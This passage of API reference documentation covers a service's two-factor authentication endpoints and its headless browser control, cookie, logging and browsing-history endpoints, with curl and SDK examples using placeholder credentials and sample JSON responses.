      "id": "507f1f77bcf86cd799439011",
      "alias": "John Doe"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid or expired 2FA code"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `INVALID_BACKUP_CODE` | Invalid backup code | The provided backup code is incorrect or has already been used | Verify the backup code is correct and has not been used previously |
| `INVALID_TEMP_TOKEN` | Invalid temporary token | The temporary token from login has expired or is invalid | Log in again to get a new temporary token |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired 2FA code",
  "data": {
    "attempts_remaining": 4
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `INVALID_BACKUP_CODE` | Invalid backup code | The provided backup code is incorrect or has already been used | Verify the backup code is correct and has not been used previously |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |



### `POST /api/v1/users/auth/2fa/backup-codes/regenerate`

Generate new backup codes (invalidates all existing ones). Requires password and current OTP code for security. Save the new codes securely.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `password` | string | Yes | Current account password (8–128 characters) |
| `code` | string | Yes | 6-digit OTP code from the authenticator app |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/2fa/backup-codes/regenerate \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -H "Content-Type: application/json" \
  -d '{
    "password": "SecurePassword123!",
    "code": "482915"
  }'
```


```typescript
const { data } = await client.api.tfa.regenerateBackupCodes({
  password: "SecurePassword123!",
  code: "482915"
});
```


```json
{
  "statusCode": 200,
  "message": "Backup codes regenerated",
  "data": {
    "backup_codes": [
      "a1b2c3d4e5",
      "f6g7h8i9j0",
      "k1l2m3n4o5",
      "p6q7r8s9t0",
      "u1v2w3x4y5",
      "z6a7b8c9d0",
      "e1f2g3h4i5",
      "j6k7l8m9n0",
      "o1p2q3r4s5",
      "t6u7v8w9x0"
    ]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Incorrect password"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INCORRECT_PASSWORD` | Incorrect password | The provided password does not match the account password | Verify your password and try again |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `TWOFACTOR_NOT_ENABLED` | 2FA not enabled | Two-factor authentication is not enabled for this account | Set up 2FA first using the setup endpoint |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired 2FA code",
  "data": {
    "attempts_remaining": 4
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |



### `PATCH /api/v1/users/auth/2fa/token-gate`

Enable or disable the OTP requirement for token mutation operations. Disabling requires both password and OTP.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `enabled` | boolean | Yes | `true` = require OTP for token mutations (default), `false` = skip OTP gate |
| `password` | string | No | Required when setting `enabled=false` (security downgrade requires primary-factor reauth) |
| `otp_code` | string | No | TOTP code or backup code. Required when setting `enabled=false`. |



```bash
curl -X PATCH https://api.hoody.com/api/v1/users/auth/2fa/token-gate \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": false,
    "password": "SecurePassword123!",
    "otp_code": "482915"
  }'
```


```typescript
const { data } = await client.api.tfa.setTokenGate({
  enabled: false,
  password: "SecurePassword123!",
  otp_code: "482915"
});
```


```json
{
  "statusCode": 200,
  "message": "Token gate updated",
  "data": {
    "require_for_tokens": false
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "2FA verification required for this operation"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `TWOFACTOR_NOT_ENABLED` | 2FA not enabled | Two-factor authentication is not enabled for this account | Set up 2FA first using the setup endpoint |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired 2FA code"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `INCORRECT_PASSWORD` | Incorrect password | The provided password does not match the account password | Verify your password and try again |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |



### `DELETE /api/v1/users/auth/2fa`

Disable 2FA for the account. Requires both the current password and a valid OTP code (or backup code) for security.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `password` | string | Yes | Current account password (8–128 characters) |
| `code` | string | Yes | 6-digit OTP code from the authenticator app OR backup code |



```bash
curl -X DELETE https://api.hoody.com/api/v1/users/auth/2fa \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -H "Content-Type: application/json" \
  -d '{
    "password": "SecurePassword123!",
    "code": "482915"
  }'
```


```typescript
const { data } = await client.api.tfa.disable({
  password: "SecurePassword123!",
  code: "482915"
});
```


```json
{
  "statusCode": 200,
  "message": "2FA successfully disabled"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Incorrect password"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INCORRECT_PASSWORD` | Incorrect password | The provided password does not match the account password | Verify your password and try again |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `INVALID_BACKUP_CODE` | Invalid backup code | The provided backup code is incorrect or has already been used | Verify the backup code is correct and has not been used previously |
| `TWOFACTOR_NOT_ENABLED` | 2FA not enabled | Two-factor authentication is not enabled for this account | Set up 2FA first using the setup endpoint |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired 2FA code",
  "data": {
    "attempts_remaining": 4
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `INVALID_BACKUP_CODE` | Invalid backup code | The provided backup code is incorrect or has already been used | Verify the backup code is correct and has not been used previously |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |

---

# Instance Control

**Page:** api/browser/control

[Download Raw Markdown](./api/browser/control.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Introspection & Control

The endpoints in this section let you inspect browser instance metadata, discover remote debugging endpoints, manage tabs, and shut down running instances. All endpoints address a specific instance via the `browser_id` query parameter (a 0-based index).

### `GET /api/browser/control/metadata`

Retrieve detailed metadata for a running browser instance, including session information, browser/OS details, viewport settings, the list of open tabs, and the Chrome DevTools WebSocket URL (when remote debugging is enabled).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |



```bash
curl -G https://api.hoody.icu/api/browser/control/metadata \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "browser_id=0"
```


```javascript
const metadata = await client.browser.introspection.getMetadata({
  browser_id: "0"
});
```


Returned when the browser is launched with `useRemoteDebuggingPort=true`.

```json
{
  "engine": "playwright",
  "stealth": false,
  "headless": true,
  "chromiumBuildId": "136.0.7103.113",
  "chromiumExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "browserExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "fingerprintId": "default",
  "display": ":0",
  "browser_id": "0",
  "browser_host": "0.0.0.0",
  "browser_port": 35791,
  "sessionId": "s_8f3a9b2c1d4e",
  "sessionName": "Default Session",
  "timezoneId": "America/New_York",
  "locale": "en-US",
  "geolocation": {
    "latitude": 40.7128,
    "longitude": -74.006,
    "accuracy": 10
  },
  "viewport": {
    "width": 1280,
    "height": 720,
    "deviceScaleFactor": 1,
    "screenWidth": 1920,
    "screenHeight": 1080
  },
  "userAgentString": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
  "browserName": "chromium",
  "browserFullVersion": "136.0.7103.113",
  "operatingSystemName": "Linux",
  "operatingSystemPlatform": "linux",
  "operatingSystemVersion": "5.15.0-105-generic",
  "renderingEngine": "Blink",
  "renderingEngineVersion": "136.0.7103.113",
  "webSocketDebuggerUrl": "wss://abc123-def456-http-9222.containers.hoody.icu/devtools/browser/b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
  "devtoolsHttpUrl": "https://abc123-def456-http-9222.containers.hoody.icu/json/version",
  "devtoolsFrontendUrl": "https://abc123-def456-http-9222.containers.hoody.icu",
  "extensions": [],
  "useRemoteDebuggingPort": true,
  "remoteDebuggingPort": 9222,
  "remoteDebuggingAddress": "0.0.0.0",
  "quicDisabled": true,
  "http3Disabled": true,
  "dnsOverHttpsEnabled": true,
  "dnsOverHttpsUrl": "https://cloudflare-dns.com/dns-query",
  "tabs": [
    {
      "id": 1,
      "url": "https://example.com"
    }
  ]
}
```


Returned when the browser uses pipe transport (the default behavior).

```json
{
  "engine": "playwright",
  "stealth": false,
  "headless": true,
  "chromiumBuildId": "136.0.7103.113",
  "chromiumExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "browserExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "fingerprintId": "default",
  "display": ":0",
  "browser_id": "0",
  "browser_host": "0.0.0.0",
  "browser_port": 35791,
  "sessionId": "s_8f3a9b2c1d4e",
  "sessionName": "Default Session",
  "timezoneId": "America/New_York",
  "locale": "en-US",
  "geolocation": {
    "latitude": 40.7128,
    "longitude": -74.006,
    "accuracy": 10
  },
  "viewport": {
    "width": 1280,
    "height": 720,
    "deviceScaleFactor": 1,
    "screenWidth": 1920,
    "screenHeight": 1080
  },
  "userAgentString": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
  "browserName": "chromium",
  "browserFullVersion": "136.0.7103.113",
  "operatingSystemName": "Linux",
  "operatingSystemPlatform": "linux",
  "operatingSystemVersion": "5.15.0-105-generic",
  "renderingEngine": "Blink",
  "renderingEngineVersion": "136.0.7103.113",
  "webSocketDebuggerUrl": null,
  "devtoolsHttpUrl": null,
  "devtoolsFrontendUrl": null,
  "extensions": [],
  "useRemoteDebuggingPort": false,
  "remoteDebuggingPort": null,
  "remoteDebuggingAddress": null,
  "quicDisabled": true,
  "http3Disabled": true,
  "dnsOverHttpsEnabled": true,
  "dnsOverHttpsUrl": "https://cloudflare-dns.com/dns-query",
  "tabs": [
    {
      "id": 1,
      "url": "https://example.com"
    }
  ]
}
```


```json
{
  "error": "Instance not found",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |




The `webSocketDebuggerUrl` field is only populated when the browser is launched with `useRemoteDebuggingPort=true` and `browser=chromium`. Otherwise the field is `null`. Use this URL to connect Chrome DevTools, Puppeteer, or Playwright to the instance.


### `GET /api/browser/control/devtools-url`

Return the Chrome DevTools WebSocket URL and the HTTP discovery URL (`/json/version`) for the specified browser instance. The HTTP endpoint can be used to resolve the WebSocket URL automatically.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |



```bash
curl -G https://api.hoody.icu/api/browser/control/devtools-url \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "browser_id=0"
```


```javascript
const urls = await client.browser.introspection.getDevtoolsUrl({
  browser_id: "0"
});
```


```json
{
  "webSocketDebuggerUrl": "wss://abc123-def456-http-9222.containers.hoody.icu/devtools/browser/b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
  "devtoolsHttpUrl": "https://abc123-def456-http-9222.containers.hoody.icu/json/version",
  "devtoolsFrontendUrl": "https://abc123-def456-http-9222.containers.hoody.icu"
}
```


```json
{
  "error": "Instance not found",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |




These URLs are populated only when the instance is launched with `useRemoteDebuggingPort=true` and `browser=chromium`. In all other configurations the response fields are `null`. The DevTools URL grants full control over the browser; only expose it to trusted clients in secure environments.


### `GET /api/browser/control/tabs`

List all open tabs in a browser instance. Each tab includes its identifier, current URL, and whether it is the active tab.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |



```bash
curl -G https://api.hoody.icu/api/browser/control/tabs \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "browser_id=0"
```


```javascript
const tabs = await client.browser.introspection.listTabs({
  browser_id: "0"
});
```


```json
[
  {
    "id": 1,
    "url": "https://example.com",
    "isActive": true
  },
  {
    "id": 2,
    "url": "https://docs.example.com/getting-started",
    "isActive": false
  }
]
```


```json
{
  "error": "Instance not found",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |



### `POST /api/browser/control/tab/close`

Close a specific browser tab by its tab ID. If no `tabId` is provided, the active tab is closed (unless it is the last remaining tab, in which case the request fails).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `tabId` | integer | No | The ID of the tab to close |



```bash
curl -X POST https://api.hoody.icu/api/browser/control/tab/close \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -G --data-urlencode "browser_id=0" \
  -d '{"tabId": 2}'
```


```javascript
const result = await client.browser.introspection.closeTab({
  browser_id: "0",
  data: {
    tabId: 2
  }
});
```


```json
{
  "closed": 2,
  "remaining": 1
}
```


```json
{
  "error": "Cannot close the last tab or invalid tab ID",
  "code": "CANNOT_CLOSE_LAST_TAB",
  "details": {
    "tabId": 1
  }
}
```


```json
{
  "error": "Tab or instance not found",
  "code": "TAB_NOT_FOUND",
  "details": {
    "tabId": 99
  }
}
```



### `GET /api/browser/control/shutdown`

Shut down a specific browser instance and release its resources. The instance must be restarted before it can be used again.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |



```bash
curl -G https://api.hoody.icu/api/browser/control/shutdown \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "browser_id=0"
```


```javascript
const result = await client.browser.introspection.shutdown({
  browser_id: "0"
});
```


```json
{
  "message": "Instance shutdown successfully"
}
```


```json
{
  "error": "Instance not found",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |



## Browser State

The endpoints in this section manage the cookie store for a browser context: reading, writing, and clearing cookies. Cookies are scoped to the browser context, so all tabs in an instance share the same cookie jar.

### `GET /api/browser/control/cookies`

Return all cookies for the browser context. Optionally filter the result to cookies associated with a specific URL.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |
| `url` | query | string | No | Filter cookies by URL |



```bash
curl -G https://api.hoody.icu/api/browser/control/cookies \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "browser_id=0" \
  --data-urlencode "url=https://example.com"
```


```javascript
const result = await client.browser.cookies.get({
  browser_id: "0",
  url: "https://example.com"
});
```


```json
{
  "cookies": [
    {
      "name": "session_id",
      "value": "s%3Aabc123def456",
      "domain": ".example.com",
      "path": "/",
      "httpOnly": true,
      "secure": true
    },
    {
      "name": "locale",
      "value": "en-US",
      "domain": ".example.com",
      "path": "/",
      "httpOnly": false,
      "secure": true
    }
  ]
}
```



### `POST /api/browser/control/cookies`

Add one or more cookies to the browser context. Each cookie requires a `name`, `value`, and `url`; the `url` field is used to derive the cookie's `domain` and `secure` flag when not provided explicitly.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `cookies` | array | Yes | List of cookies to add to the browser context. Each entry requires `name`, `value`, and `url`; `domain`, `path`, `httpOnly`, and `secure` are optional. |



```bash
curl -X POST https://api.hoody.icu/api/browser/control/cookies \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -G --data-urlencode "browser_id=0" \
  -d '{
    "cookies": [
      {
        "name": "session_id",
        "value": "s%3Aabc123def456",
        "url": "https://example.com",
        "domain": ".example.com",
        "path": "/",
        "httpOnly": true,
        "secure": true
      },
      {
        "name": "locale",
        "value": "en-US",
        "url": "https://example.com",
        "domain": ".example.com",
        "path": "/",
        "httpOnly": false,
        "secure": true
      }
    ]
  }'
```


```javascript
const result = await client.browser.cookies.set({
  browser_id: "0",
  data: {
    cookies: [
      {
        name: "session_id",
        value: "s%3Aabc123def456",
        url: "https://example.com",
        domain: ".example.com",
        path: "/",
        httpOnly: true,
        secure: true
      },
      {
        name: "locale",
        value: "en-US",
        url: "https://example.com",
        domain: ".example.com",
        path: "/",
        httpOnly: false,
        secure: true
      }
    ]
  }
});
```


```json
{
  "added": 2
}
```



### `DELETE /api/browser/control/cookies`

Remove all cookies from the browser context. The cookie jar is fully emptied regardless of domain or path.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |



```bash
curl -X DELETE https://api.hoody.icu/api/browser/control/cookies \
  -H "Authorization: Bearer <token>" \
  -G --data-urlencode "browser_id=0"
```


```javascript
const result = await client.browser.cookies.clear({
  browser_id: "0"
});
```


```json
{
  "cleared": true
}
```

---

# Health, Metrics & Debugging

**Page:** api/browser/health

[Download Raw Markdown](./api/browser/health.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody browser service provides a set of endpoints for monitoring server health, retrieving debugging logs, and querying browsing history. Use these endpoints to integrate liveness checks, capture console and network activity, and manage the persistent navigation history of browser instances.

## Health check

### `GET /api/v1/browser/health`

Returns standardized health metadata for the `hoody-browser` service following the shared 9-field health contract.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/browser/health
```


```javascript
const health = await client.browser.health.check();
```


```json
{
  "status": "ok",
  "service": "hoody-browser",
  "built": "2025-01-15T10:30:00.000Z",
  "started": "2025-01-20T14:22:18.452Z",
  "memory": {
    "rss": 134217728,
    "heap": 73400320
  },
  "fds": 42,
  "pid": 18432,
  "ip": "10.0.0.42",
  "userAgent": "HoodySDK/1.0"
}
```



## Console logs

### `GET /console`

Returns buffered browser console messages (`console.log`, `console.error`, page errors). The buffer keeps the last 500 entries.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |
| `type` | query | string | No | Filter by message type (log, error, warning, info, etc.) |
| `since` | query | string | No | Only return logs after this ISO timestamp |
| `clear` | query | boolean | No | Clear the buffer after reading. Default: `false` |



```bash
curl -X GET "https://api.hoody.com/console?browser_id=0&tabId=1&type=error&clear=false"
```


```javascript
const result = await client.browser.debugging.getConsoleLogs({
  browser_id: "0",
  tabId: 1,
  type: "error",
  clear: false
});
```


```json
{
  "logs": [
    {
      "timestamp": "2025-01-20T14:25:03.118Z",
      "type": "error",
      "text": "Uncaught ReferenceError: foo is not defined",
      "tabId": 1
    },
    {
      "timestamp": "2025-01-20T14:25:14.502Z",
      "type": "warning",
      "text": "Deprecation: Third-party cookie will be blocked in a future release.",
      "tabId": 1
    }
  ],
  "count": 2
}
```




The console log buffer is capped at 500 entries. Older entries are evicted automatically once the cap is reached.


## Network logs

### `GET /network`

Returns buffered network request/response entries captured from browser traffic. The buffer keeps the last 500 entries.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `start` | query | boolean | No | Controls instance creation behavior. Default mode: instances are created automatically. Set to `false` to prevent creation. When auto-start is disabled globally: set to `true` to create an instance. Default: `true` |
| `since` | query | string | No | Only return logs after this ISO timestamp |
| `clear` | query | boolean | No | Clear the buffer after reading. Default: `false` |



```bash
curl -X GET "https://api.hoody.com/network?browser_id=0&tabId=1&since=2025-01-20T14:00:00.000Z"
```


```javascript
const result = await client.browser.debugging.getNetworkLogs({
  browser_id: "0",
  tabId: 1,
  since: "2025-01-20T14:00:00.000Z"
});
```


```json
{
  "logs": [
    {
      "timestamp": "2025-01-20T14:25:03.045Z",
      "method": "GET",
      "url": "https://example.com/api/users",
      "status": 200,
      "resourceType": "fetch",
      "tabId": 1
    },
    {
      "timestamp": "2025-01-20T14:25:03.502Z",
      "method": "POST",
      "url": "https://example.com/api/events",
      "status": 201,
      "resourceType": "fetch",
      "tabId": 1
    }
  ],
  "count": 2
}
```



## Browsing history

Browsing history is recorded for all navigations, including those triggered through the API and manual page navigations. History entries are read from persistent storage via symlinked directories.

### `GET /history`

Returns paginated browsing history entries with optional filters.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `since` | query | string | No | Return entries after this ISO 8601 timestamp |
| `domain` | query | string | No | Filter by domain (exact match) |
| `browser_id` | query | string | No | Filter by browser ID |
| `limit` | query | integer | No | Maximum entries to return (1-500). Default: `50` |
| `offset` | query | integer | No | Number of entries to skip for pagination. Default: `0` |



```bash
curl -X GET "https://api.hoody.com/history?domain=example.com&limit=25&offset=0"
```


```javascript
const history = await client.browser.history.list({
  domain: "example.com",
  limit: 25,
  offset: 0
});
```


```json
{
  "entries": [
    {
      "id": "1737385503045-a3f2",
      "url": "https://example.com/dashboard",
      "requestedUrl": "https://example.com/dashboard",
      "title": "Dashboard - Example",
      "domain": "example.com",
      "tabId": 1,
      "browserId": "0",
      "browserPort": 9222,
      "sessionId": "sess-7c2a18",
      "httpStatus": 200,
      "error": null,
      "source": "api",
      "timestamp": "2025-01-20T14:25:03.045Z",
      "created": false,
      "reused": true
    }
  ],
  "total": 1,
  "has_more": false,
  "limit": 25,
  "offset": 0
}
```


```json
{
  "error": "Invalid value for parameter 'limit'",
  "code": "INVALID_PARAMETER",
  "details": {
    "parameter": "limit",
    "received": 0,
    "allowed": "1-500"
  }
}
```


```json
{
  "error": "Browsing history is disabled",
  "code": "HISTORY_DISABLED",
  "details": {
    "feature": "history"
  }
}
```



### `DELETE /history`

Deletes browsing history entries matching the given filters. Without filters, deletes all history.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `before` | query | string | No | Delete entries before this ISO 8601 timestamp |
| `browser_id` | query | string | No | Delete entries for specific browser ID only |



```bash
curl -X DELETE "https://api.hoody.com/history?before=2025-01-01T00:00:00.000Z&browser_id=0"
```


```javascript
const result = await client.browser.history.clear({
  before: "2025-01-01T00:00:00.000Z",
  browser_id: "0"
});
```


```json
{
  "deleted": 142
}
```


```json
{
  "error": "Invalid value for parameter 'before'",
  "code": "INVALID_PARAMETER",
  "details": {
    "parameter": "before",
    "received": "not-a-date",
    "allowed": "ISO 8601 timestamp"
  }
}
```


```json
{
  "error": "Browsing history is disabled",
  "code": "HISTORY_DISABLED",
  "details": {
    "feature": "history"
  }
}
```




Calling `DELETE /history` with no filter parameters will delete **all** persisted browsing history. Always scope deletes with `before` and/or `browser_id` unless you intend a full wipe.

---

# Hoody Browser

**Page:** api/browser/index

[Download Raw Markdown](./api/browser/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody Browser service provides headless browser automation capabilities, allowing you to programmatically interact with web pages, evaluate JavaScript, and monitor live browser sessions. Whether you need to scrape rendered content, automate form interactions, or inspect the state of running instances, the Browser API exposes the tools you need.

## Available Endpoints

The Browser API is organized into four functional areas:




Start, stop, and restart browser instances to manage their lifecycle.

[View Instance Management &rarr;](/api/browser/instance-management/)




Browse pages, evaluate JavaScript, and interact with browser content.

